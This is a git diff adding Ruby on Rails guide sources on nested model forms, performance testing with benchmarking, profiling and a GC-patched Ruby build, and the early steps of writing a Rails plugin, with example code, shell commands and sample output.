execute arbitrary SQL. There are also a number of plugins such as "redhillonrails":http://agilewebdevelopment.com/plugins/search?search=redhillonrails which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+). + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6 + +* September 14, 2008: initial version by "Frederick Cheung":credits.html#fcheung diff --git a/railties/guides/source/nested_model_forms.textile b/railties/guides/source/nested_model_forms.textile new file mode 100644 index 0000000000..4b685b214e --- /dev/null +++ b/railties/guides/source/nested_model_forms.textile @@ -0,0 +1,222 @@ +h2. Rails nested model forms + +Creating a form for a model _and_ its associations can become quite tedious. Therefor Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations. + +In this guide you will: + +* do stuff + +endprologue. + +NOTE: This guide assumes the user knows how to use the "Rails form helpers":form_helpers.html in general. Also, it’s *not* an API reference. For a complete reference please visit "the Rails API documentation":http://api.rubyonrails.org/. + + +h3. Model setup + +To be able to use the nested model functionality in your forms, the model will need to support some basic operations. + +First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The +fields_for+ form helper will look for this method to decide whether or not a nested model form should be build. + +If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded. + +Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the +:address+ attribute, the +fields_for+ form helper will look for a method on the Person instance named +address_attributes=+. + +h4. ActiveRecord::Base model + +For an ActiveRecord::Base model and association this writer method is commonly defined with the +accepts_nested_attributes_for+ class method: + +h5. has_one + +<ruby> +class Person < ActiveRecord::Base + has_one :address + accepts_nested_attributes_for :address +end +</ruby> + +h5. belongs_to + +<ruby> +class Person < ActiveRecord::Base + belongs_to :firm + accepts_nested_attributes_for :firm +end +</ruby> + +h5. has_many / has_and_belongs_to_many + +<ruby> +class Person < ActiveRecord::Base + has_many :projects + accepts_nested_attributes_for :projects +end +</ruby> + +h4. Custom model + +As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour: + +h5. Single associated object + +<ruby> +class Person + def address + Address.new + end + + def address_attributes=(attributes) + # ... + end +end +</ruby> + +h5. Association collection + +<ruby> +class Person + def projects + [Project.new, Project.new] + end + + def projects_attributes=(attributes) + # ... + end +end +</ruby> + +NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model. + +h3. Views + +h4. Controller code + +A nested model form will _only_ be build if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first. + +Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template: + +<ruby> +class PeopleController < ActionController:Base + def new + @person = Person.new + @person.built_address + 2.times { @person.projects.build } + end + + def create + @person = Person.new(params[:person]) + if @person.save + # ... + end + end +end +</ruby> + +NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an +after_initialize+ callback which is a good way to refactor this. + +h4. Form code + +Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form. + +h5. Standard form + +Start out with a regular RESTful form: + +<erb> +<% form_for @person do |f| %> + <%= f.text_field :name %> +<% end %> +</erb> + +This will generate the following html: + +<html> +<form action="/people" class="new_person" id="new_person" method="post"> + <input id="person_name" name="person[name]" size="30" type="text" /> +</form> +</html> + +h5. Nested form for a single associated object + +Now add a nested form for the +address+ association: + +<erb> +<% form_for @person do |f| %> + <%= f.text_field :name %> + + <% f.fields_for :address do |af| %> + <%= f.text_field :street %> + <% end %> +<% end %> +</erb> + +This generates: + +<html> +<form action="/people" class="new_person" id="new_person" method="post"> + <input id="person_name" name="person[name]" size="30" type="text" /> + + <input id="person_address_attributes_street" name="person[address_attributes][street]" size="30" type="text" /> +</form> +</html> + +Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be build by the way it has namespaced the +name+ attribute. + +When this form is posted the Rails parameter parser will construct a hash like the following: + +<ruby> +{ + "person" => { + "name" => "Eloy Duran", + "address_attributes" => { + "street" => "Nieuwe Prinsengracht" + } + } +} +</ruby> + +That’s it. The controller will simply pass this hash on to the model from the +create+ action. The model will then handle building the +address+ association for you and automatically save it when the parent (+person+) is saved. + +h5. Nested form for a collection of associated objects + +The form code for an association collection is pretty similar to that of a single associated object: + +<erb> +<% form_for @person do |f| %> + <%= f.text_field :name %> + + <% f.fields_for :projects do |pf| %> + <%= f.text_field :name %> + <% end %> +<% end %> +</erb> + +Which generates: + +<html> +<form action="/people" class="new_person" id="new_person" method="post"> + <input id="person_name" name="person[name]" size="30" type="text" /> + + <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" size="30" type="text" /> + <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" size="30" type="text" /> +</form> +</html> + +As you can see it has generated 2 +project name+ inputs, one for each new +project+ that’s build in the controllers +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as: + +<ruby> +{ + "person" => { + "name" => "Eloy Duran", + "projects_attributes" => { + "0" => { "name" => "Project 1" }, + "1" => { "name" => "Project 2" } + } + } +} +</ruby> + +You can basically see the +projects_attributes+ hash as an array of attribute hashes. One for each model instance. + +NOTE: The reason that +fields_for+ constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep. + +TIP: You _can_ however pass an array to the writer method generated by +accepts_nested_attributes_for+ if you're using plain Ruby or some other API access. See (TODO) for more info and example.
\ No newline at end of file diff --git a/railties/guides/source/performance_testing.textile b/railties/guides/source/performance_testing.textile new file mode 100644 index 0000000000..320a5b8472 --- /dev/null +++ b/railties/guides/source/performance_testing.textile @@ -0,0 +1,531 @@ +h2. Performance Testing Rails Applications + +This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to: + +* Understand the various types of benchmarking and profiling metrics +* Generate performance and benchmarking tests +* Use a GC-patched Ruby binary to measure memory usage and object allocation +* Understand the benchmarking information provided by Rails inside the log files +* Learn about various tools facilitating benchmarking and profiling + +Performance testing is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application. + +endprologue. + +h3. Performance Test Cases + +Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application's memory or speed problems are coming from, and get a more in-depth picture of those problems. + +In a freshly generated Rails application, +test/performance/browsing_test.rb+ contains an example of a performance test: + +<ruby> +require 'test_helper' +require 'performance_test_help' + +# Profiling results for each test method are written to tmp/performance. +class BrowsingTest < ActionController::PerformanceTest + def test_homepage + get '/' + end +end +</ruby> + +This example is a simple performance test case for profiling a GET request to the application's homepage. + +h4. Generating Performance Tests + +Rails provides a generator called +performance_test+ for creating new performance tests: + +<shell> +script/generate performance_test homepage +</shell> + +This generates +homepage_test.rb+ in the +test/performance+ directory: + +<ruby> +require 'test_helper' +require 'performance_test_help' + +class HomepageTest < ActionController::PerformanceTest + # Replace this with your real tests. + def test_homepage + get '/' + end +end +</ruby> + +h4. Examples + +Let's assume your application has the following controller and model: + +<ruby> +# routes.rb +map.root :controller => 'home' +map.resources :posts + +# home_controller.rb +class HomeController < ApplicationController + def dashboard + @users = User.last_ten(:include => :avatars) + @posts = Post.all_today + end +end + +# posts_controller.rb +class PostsController < ApplicationController + def create + @post = Post.create(params[:post]) + redirect_to(@post) + end +end + +# post.rb +class Post < ActiveRecord::Base + before_save :recalculate_costly_stats + + def slow_method + # I fire gallzilion queries sleeping all around + end + + private + + def recalculate_costly_stats + # CPU heavy calculations + end +end +</ruby> + +h5. Controller Example + +Because performance tests are a special kind of integration test, you can use the +get+ and +post+ methods in them. + +Here's the performance test for +HomeController#dashboard+ and +PostsController#create+: + +<ruby> +require 'test_helper' +require 'performance_test_help' + +class PostPerformanceTest < ActionController::PerformanceTest + def setup + # Application requires logged-in user + login_as(:lifo) + end + + def test_homepage + get '/dashboard' + end + + def test_creating_new_post + post '/posts', :post => { :body => 'lifo is fooling you' } + end +end +</ruby> + +You can find more details about the +get+ and +post+ methods in the "Testing Rails Applications":testing.html guide. + +h5. Model Example + +Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code. + +Performance test for +Post+ model: + +<ruby> +require 'test_helper' +require 'performance_test_help' + +class PostModelTest < ActionController::PerformanceTest + def test_creation + Post.create :body => 'still fooling you', :cost => '100' + end + + def test_slow_method + # Using posts(:awesome) fixture + posts(:awesome).slow_method + end +end +</ruby> + +h4. Modes + +Performance tests can be run in two modes: Benchmarking and Profiling. + +h5. Benchmarking + +Benchmarking helps find out how fast each performance test runs. Each test case is run +4 times+ in benchmarking mode. + +To run performance tests in benchmarking mode: + +<shell> +$ rake test:benchmark +</shell> + +h5. Profiling + +Profiling helps you see the details of a performance test and provide an in-depth picture of the slow and memory hungry parts. Each test case is run +1 time+ in profiling mode. + +To run performance tests in profiling mode: + +<shell> +$ rake test:profile +</shell> + +h4. Metrics + +Benchmarking and profiling run performance tests in various modes described below. + +h5. Wall Time + +Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system. + +Mode: Benchmarking + +h5. Process Time + +Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load. + +Mode: Profiling + +h5. Memory + +Memory measures the amount of memory used for the performance test case. + +Mode: Benchmarking, Profiling "Requires GC Patched Ruby":#installing-gc-patched-ruby + +h5. Objects + +Objects measures the number of objects allocated for the performance test case. + +Mode: Benchmarking, Profiling "Requires GC Patched Ruby":#installing-gc-patched-ruby + +h5. GC Runs + +GC Runs measures the number of times GC was invoked for the performance test case. + +Mode: Benchmarking "Requires GC Patched Ruby":#installing-gc-patched-ruby + +h5. GC Time + +GC Time measures the amount of time spent in GC for the performance test case. + +Mode: Benchmarking "Requires GC Patched Ruby":#installing-gc-patched-ruby + +h4. Understanding the Output + +Performance tests generate different outputs inside +tmp/performance+ directory depending on their mode and metric. + +h5. Benchmarking + +In benchmarking mode, performance tests generate two types of outputs: + +h6. Command Line + +This is the primary form of output in benchmarking mode. Example: + +<shell> +BrowsingTest#test_homepage (31 ms warmup) + wall_time: 6 ms + memory: 437.27 KB + objects: 5514 + gc_runs: 0 + gc_time: 19 ms +</shell> + +h6. CSV Files + +Performance test results are also appended to +.csv+ files inside +tmp/performance+. For example, running the default +BrowsingTest#test_homepage+ will generate following five files: + +* BrowsingTest#test_homepage_gc_runs.csv +* BrowsingTest#test_homepage_gc_time.csv +* BrowsingTest#test_homepage_memory.csv +* BrowsingTest#test_homepage_objects.csv +* BrowsingTest#test_homepage_wall_time.csv + +As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes. + +Sample output of +BrowsingTest#test_homepage_wall_time.csv+: + +<shell> +measurement,created_at,app,rails,ruby,platform +0.00738224999999992,2009-01-08T03:40:29Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0 +0.00755874999999984,2009-01-08T03:46:18Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0 +0.00762099999999993,2009-01-08T03:49:25Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0 +0.00603075000000008,2009-01-08T04:03:29Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0 +0.00619899999999995,2009-01-08T04:03:53Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0 +0.00755449999999991,2009-01-08T04:04:55Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0 +0.00595999999999997,2009-01-08T04:05:06Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0 +0.00740450000000004,2009-01-09T03:54:47Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0 +0.00603150000000008,2009-01-09T03:54:57Z,,2.3.0.master.859e150,ruby-1.8.6.111,i686-darwin9.1.0 +0.00771250000000012,2009-01-09T15:46:03Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0 +</shell> + +h5. Profiling + +In profiling mode, you can choose from four types of output. + +h6. Command Line + +This is a very basic form of output in profiling mode: + +<shell> +BrowsingTest#test_homepage (58 ms warmup) + process_time: 63 ms + memory: 832.13 KB + objects: 7882 +</shell> + +h6. Flat + +Flat output shows the total amount of time spent in each method. "Check ruby prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/flat_txt.html. + +h6. Graph + +Graph output shows how long each method takes to run, which methods call it and which methods it calls. "Check ruby prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/graph_txt.html. + +h6. Tree + +Tree output is profiling information in calltree format for use by "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html and similar tools. + +h4. Tuning Test Runs + +By default, each performance test is run +4 times+ in benchmarking mode and +1 time+ in profiling. However, test runs can easily be configured. + +WARNING: Performance test configurability is not yet enabled in Rails. But it will be soon. + +h4. Performance Test Environment + +Performance tests are run in the +development+ environment. But running performance tests will set the following configuration parameters: + +<shell> +ActionController::Base.perform_caching = true +ActiveSupport::Dependencies.mechanism = :require +Rails.logger.level = ActiveSupport::BufferedLogger::INFO +</shell> + +As +ActionController::Base.perform_caching+ is set to +true+, performance tests will behave much as they do in the +production+ environment. + +h4. Installing GC-Patched Ruby + +To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers - "GC patch":http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch for measuring GC Runs/Time and memory/object allocation. + +The process is fairly straightforward. If you've never compiled a Ruby binary before, follow these steps to build a ruby binary inside your home directory: + +h5. Installation + +Compile Ruby and apply this "GC Patch":http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch. + +h5. Download and Extract + +<shell> +[lifo@null ~]$ mkdir rubygc +[lifo@null ~]$ wget <download the latest stable ruby from ftp://ftp.ruby-lang.org/pub/ruby> +[lifo@null ~]$ tar -xzvf <ruby-version.tar.gz> +[lifo@null ~]$ cd <ruby-version> +</shell> + +h5. Apply the Patch + +<shell> +[lifo@null ruby-version]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0 +</shell> + +h5. Configure and Install + +The following will install ruby in your home directory's +/rubygc+ directory. Make sure to replace +<homedir>+ with a full patch to your actual home directory. + +<shell> +[lifo@null ruby-version]$ ./configure --prefix=/<homedir>/rubygc +[lifo@null ruby-version]$ make && make install +</shell> + +h5. Prepare Aliases + +For convenience, add the following lines in your +~/.profile+: + +<shell> +alias gcruby='~/rubygc/bin/ruby' +alias gcrake='~/rubygc/bin/rake' +alias gcgem='~/rubygc/bin/gem' +alias gcirb='~/rubygc/bin/irb' +alias gcrails='~/rubygc/bin/rails' +</shell> + +h5. Install Rubygems and Dependency Gems + +Download "Rubygems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. + +Additionally, install the following gems: + +* +rake+ +* +rails+ +* +ruby-prof+ +* +rack+ +* +mysql+ + +If installing +mysql+ fails, you can try to install it manually: + +<shell> +[lifo@null mysql]$ gcruby extconf.rb --with-mysql-config +[lifo@null mysql]$ make && make install +</shell> + +And you're ready to go. Don't forget to use +gcruby+ and +gcrake+ aliases when running the performance tests. + +h3. Command Line Tools + +Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing: + +h4. +benchmarker+ + ++benchmarker+ is a wrapper around Ruby's "Benchmark":http://ruby-doc.org/core/classes/Benchmark.html standard library. + +Usage: + +<shell> +$ script/performance/benchmarker [times] 'Person.expensive_way' 'Person.another_expensive_way' ... +</shell> + +Examples: + +<shell> +$ script/performance/benchmarker 10 'Item.all' 'CouchItem.all' +</shell> + +If the +[times]+ argument is omitted, supplied methods are run just once: + +<shell> +$ script/performance/benchmarker 'Item.first' 'Item.last' +</shell> + +h4. +profiler+ + ++profiler+ is a wrapper around http://ruby-prof.rubyforge.org/[ruby-prof] gem. + +Usage: + +<shell> +$ script/performance/profiler 'Person.expensive_method(10)' [times] [flat|graph|graph_html] +</shell> + +Examples: + +<shell> +$ script/performance/profiler 'Item.all' +</shell> + +This will profile +Item.all+ in +RubyProf::WALL_TIME+ measure mode. By default, it prints flat output to the shell. + +<shell> +$ script/performance/profiler 'Item.all' 10 graph +</shell> + +This will profile +10.times { Item.all }+ with +RubyProf::WALL_TIME+ measure mode and print graph output to the shell. + +If you want to store the output in a file: + +<shell> +$ script/performance/profiler 'Item.all' 10 graph 2> graph.txt +</shell> + +h3. Helper Methods + +Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called +benchmark()+ in all the three components. + +h4. Model + +<ruby> +Project.benchmark("Creating project") do + project = Project.create("name" => "stuff") + project.create_manager("name" => "David") + project.milestones << Milestone.find(:all) +end +</ruby> + +This benchmarks the code enclosed in the +Project.benchmark("Creating project") do...end+ block and prints the result to the log file: + +<ruby> +Creating project (185.3ms) +</ruby> + +Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001336 for additional options to +benchmark()+ + +h4. Controller + +Similarly, you could use this helper method inside "controllers":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715 + +<ruby> +def process_projects + self.class.benchmark("Processing projects") do + Project.process(params[:project_ids]) + Project.update_cached_projects + end +end +</ruby> + +NOTE: +benchmark+ is a class method inside controllers + +h4. View + +And in "views":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715: + +<erb> +<% benchmark("Showing projects partial") do %> + <%= render :partial => @projects %> +<% end %> +</erb> + +h3. Request Logging + +Rails log files contain very useful information about the time taken to serve each request. Here's a typical log file entry: + +<shell> +Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET] +Rendering template within layouts/items +Rendering items/index +Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items] +</shell> + +For this section, we're only interested in the last line: + +<shell> +Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items] +</shell> + +This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measure the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller. + +Michael Koziarski has an "interesting blog post":http://www.therailsway.com/2009/1/6/requests-per-second explaining the importance of using milliseconds as the metric. + +h3. Useful Links + +h4. Rails Plugins and Gems + +* "Rails Analyzer":http://rails-analyzer.rubyforge.org +* "Palmist":http://www.flyingmachinestudios.com/projects/ +* "Rails Footnotes":http://github.com/josevalim/rails-footnotes/tree/master +* "Query Reviewer":http://github.com/dsboulder/query_reviewer/tree/master + +h4. Generic Tools + +* "httperf":http://www.hpl.hp.com/research/linux/httperf/ +* "ab":http://httpd.apache.org/docs/2.2/programs/ab.html +* "JMeter":http://jakarta.apache.org/jmeter/ +* "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html + +h4. Tutorials and Documentation + +* "ruby-prof API Documentation":http://ruby-prof.rubyforge.org +* "Request Profiling Railscast":http://railscasts.com/episodes/98-request-profiling - Outdated, but useful for understanding call graphs + +h3. Commercial Products + +Rails has been lucky to have three startups dedicated to Rails specific performance tools: + +* "New Relic":http://www.newrelic.com +* "Fiveruns":http://www.fiveruns.com +* "Scout":http://scoutapp.com + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4 + +* January 9, 2009: Complete rewrite by "Pratik":credits.html#lifo +* September 6, 2008: Initial version by Matthew Bergman diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile new file mode 100644 index 0000000000..55ecdcd3d1 --- /dev/null +++ b/railties/guides/source/plugins.textile @@ -0,0 +1,1512 @@ +h2. The Basics of Creating Rails Plugins + +A Rails plugin is either an extension or a modification of the core framework. Plugins provide: + +* a way for developers to share bleeding-edge ideas without hurting the stable code base +* a segmented architecture so that units of code can be fixed or updated on their own release schedule +* an outlet for the core developers so that they don’t have to include every cool new feature under the sun + +After reading this guide you should be familiar with: + +* Creating a plugin from scratch +* Writing and running tests for the plugin +* Storing models, views, controllers, helpers and even other plugins in your plugins +* Writing generators +* Writing custom Rake tasks in your plugin +* Generating RDoc documentation for your plugin +* Avoiding common pitfalls with 'init.rb' + +This guide describes how to build a test-driven plugin that will: + +* Extend core ruby classes like Hash and String +* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins +* Add a view helper that can be used in erb templates +* Add a new generator that will generate a migration +* Add a custom generator command +* A custom route method that can be used in routes.rb + +For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development. + +endprologue. + +h3. Setup + +h4. Create the Basic Application + +The examples in this guide require that you have a working rails application. To create a simple rails app execute: + +<pre> +gem install rails +rails yaffle_guide +cd yaffle_guide +script/generate scaffold bird name:string +rake db:migrate +script/server +</pre> + +Then navigate to http://localhost:3000/birds. Make sure you have a functioning rails app before continuing. + +NOTE: The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs. + + +h4. Generate the Plugin Skeleton + +Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass +--with-generator+ to add an example generator also. + +This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories. + +Examples: +<pre> +./script/generate plugin yaffle +./script/generate plugin yaffle --with-generator +</pre> + +To get more detailed help on the plugin generator, type +./script/generate plugin+. + +Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the +--with-generator+ option now: + +<pre> +./script/generate plugin yaffle --with-generator +</pre> + +You should see the following output: + +<pre> +create vendor/plugins/yaffle/lib +create vendor/plugins/yaffle/tasks +create vendor/plugins/yaffle/test +create vendor/plugins/yaffle/README +create vendor/plugins/yaffle/MIT-LICENSE +create vendor/plugins/yaffle/Rakefile +create vendor/plugins/yaffle/init.rb +create vendor/plugins/yaffle/install.rb +create vendor/plugins/yaffle/uninstall.rb +create vendor/plugins/yaffle/lib/yaffle.rb +create vendor/plugins/yaffle/tasks/yaffle_tasks.rake +create vendor/plugins/yaffle/test/core_ext_test.rb +create vendor/plugins/yaffle/generators +create vendor/plugins/yaffle/generators/yaffle +create vendor/plugins/yaffle/generators/yaffle/templates +create vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb +create vendor/plugins/yaffle/generators/yaffle/USAGE +</pre> + +h4. Organize Your Files + +To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this: + +<pre> +|-- lib +| |-- yaffle +| `-- yaffle.rb +`-- rails + | + `-- init.rb +</pre> + +*vendor/plugins/yaffle/rails/init.rb* + +<ruby> +require 'yaffle' +</ruby> + +Now you can add any 'require' statements to 'lib/yaffle.rb' and keep 'init.rb' clean. + +h3. Tests + +In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. To setup your plugin to allow for easy testing you'll need to add 3 files: + + * A 'database.yml' file with all of your connection strings + * A 'schema.rb' file with your table definitions + * A test helper method that sets up the database + +h4. Test Setup + +*vendor/plugins/yaffle/test/database.yml:* + +<pre> +sqlite: + :adapter: sqlite + :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db + +sqlite3: + :adapter: sqlite3 + :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db + +postgresql: + :adapter: postgresql + :username: postgres + :password: postgres + :database: yaffle_plugin_test + :min_messages: ERROR + +mysql: + :adapter: mysql + :host: localhost + :username: root + :password: password + :database: yaffle_plugin_test +</pre> + +For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following: + +*vendor/plugins/yaffle/test/schema.rb:* + +<ruby> +ActiveRecord::Schema.define(:version => 0) do + create_table :hickwalls, :force => true do |t| + t.string :name + t.string :last_squawk + t.datetime :last_squawked_at + end + create_table :wickwalls, :force => true do |t| + t.string :name + t.string :last_tweet + t.datetime :last_tweeted_at + end + create_table :woodpeckers, :force => true do |t| + t.string :name + end +end +</ruby> + +*vendor/plugins/yaffle/test/test_helper.rb:* + +<ruby> +ENV['RAILS_ENV'] = 'test' +ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..' + +require 'test/unit' +require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb')) + +def load_schema + config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml')) + ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log") + + db_adapter = ENV['DB'] + + # no db passed, try one of these fine config-free DBs before bombing. + db_adapter ||= + begin + require 'rubygems' + require 'sqlite' + 'sqlite' + rescue MissingSourceFile + begin + require 'sqlite3' + 'sqlite3' + rescue MissingSourceFile + end + end + + if db_adapter.nil? + raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3." + end + + ActiveRecord::Base.establish_connection(config[db_adapter]) + load(File.dirname(__FILE__) + "/schema.rb") + require File.dirname(__FILE__) + '/../rails/init.rb' +end +</ruby> + +Now whenever you write a test that requires the database, you can call 'load_schema'. + +h4. Run the Plugin Tests + +Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test. Replace the contents of that file with: + +*vendor/plugins/yaffle/test/yaffle_test.rb:* + +<ruby> +require File.dirname(__FILE__) + '/test_helper.rb' + +class YaffleTest < Test::Unit::TestCase + load_schema + + class Hickwall < ActiveRecord::Base + end + + class Wickwall < ActiveRecord::Base + end + + def test_schema_has_loaded_correctly + assert_equal [], Hickwall.all + assert_equal [], Wickwall.all + end + +end +</ruby> + +To run this, go to the plugin directory and run +rake+: + +<pre> +cd vendor/plugins/yaffle +rake +</pre> + +You should see output like: + +<shell> +/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb" + create_table(:hickwalls, {:force=>true}) + -> 0.0220s +-- create_table(:wickwalls, {:force=>true}) + -> 0.0077s +-- initialize_schema_migrations_table() + -> 0.0007s +-- assume_migrated_upto_version(0) + -> 0.0007s +Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader +Started +. +Finished in 0.002236 seconds. + +1 test, 1 assertion, 0 failures, 0 errors +</shell> + +By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake: + +<shell> +rake DB=sqlite +rake DB=sqlite3 +rake DB=mysql +rake DB=postgresql +</shell> + +Now you are ready to test-drive your plugin! + +h3. Extending Core Classes + +This section will explain how to add a method to String that will be available anywhere in your rails app. + +In this example you will add a method to String named +to_squawk+. To begin, create a new test file with a few assertions: + +* *vendor/plugins/yaffle/test/core_ext_test.rb* + +<ruby> +require File.dirname(__FILE__) + '/test_helper.rb' + +class CoreExtTest < Test::Unit::TestCase + def test_to_squawk_prepends_the_word_squawk + assert_equal "squawk! Hello World", "Hello World".to_squawk + end +end +</ruby> + +Navigate to your plugin directory and run +rake test+: + +<shell> +cd vendor/plugins/yaffle +rake test +</shell> + +The test above should fail with the message: + +<shell> + 1) Error: +test_to_squawk_prepends_the_word_squawk(CoreExtTest): +NoMethodError: undefined method `to_squawk' for "Hello World":String + ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk' +</shell> + +Great - now you are ready to start development. + +Then in 'lib/yaffle.rb' require 'lib/core_ext.rb': + +* *vendor/plugins/yaffle/lib/yaffle.rb* + +<ruby> +require "yaffle/core_ext" +</ruby> + +Finally, create the 'core_ext.rb' file and add the 'to_squawk' method: + +* *vendor/plugins/yaffle/lib/yaffle/core_ext.rb* + +<ruby> +String.class_eval do + def to_squawk + "squawk! #{self}".strip + end +end +</ruby> + +To test that your method does what it says it does, run the unit tests with +rake+ from your plugin directory. To see this in action, fire up a console and start squawking: + +<shell> +$ ./script/console +>> "Hello World".to_squawk +=> "squawk! Hello World" +</shell> + +h4. Working with +init.rb+ + +When rails loads plugins it looks for the file named 'init.rb' or 'rails/init.rb'. However, when the plugin is initialized, 'init.rb' is invoked via +eval+ (not +require+) so it has slightly different behavior. + +Under certain circumstances if you reopen classes or modules in 'init.rb' you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from +init.rb+, as shown above. + +If you must reopen a class in +init.rb+ you can use +module_eval+ or +class_eval+ to avoid any issues: + +* *vendor/plugins/yaffle/rails/init.rb* + +<ruby> +Hash.class_eval do + def is_a_special_hash? + true + end +end +</ruby> + +Another way is to explicitly define the top-level module space for all modules and classes, like +::Hash+: + +* *vendor/plugins/yaffle/rails/init.rb* + +<ruby> +class ::Hash + def is_a_special_hash? + true + end +end +</ruby> + +h3. Add an "acts_as" Method to Active Record + +A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your models. + +To begin, set up your files so that you have: + +* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb* + +<ruby> +require File.dirname(__FILE__) + '/test_helper.rb' + +class ActsAsYaffleTest < Test::Unit::TestCase +end +</ruby> + +* *vendor/plugins/yaffle/lib/yaffle.rb* + +<ruby> +require 'yaffle/acts_as_yaffle' +</ruby> + +* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* + +<ruby> +module Yaffle + # your code will go here +end +</ruby> + +Note that after requiring 'acts_as_yaffle' you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models. + 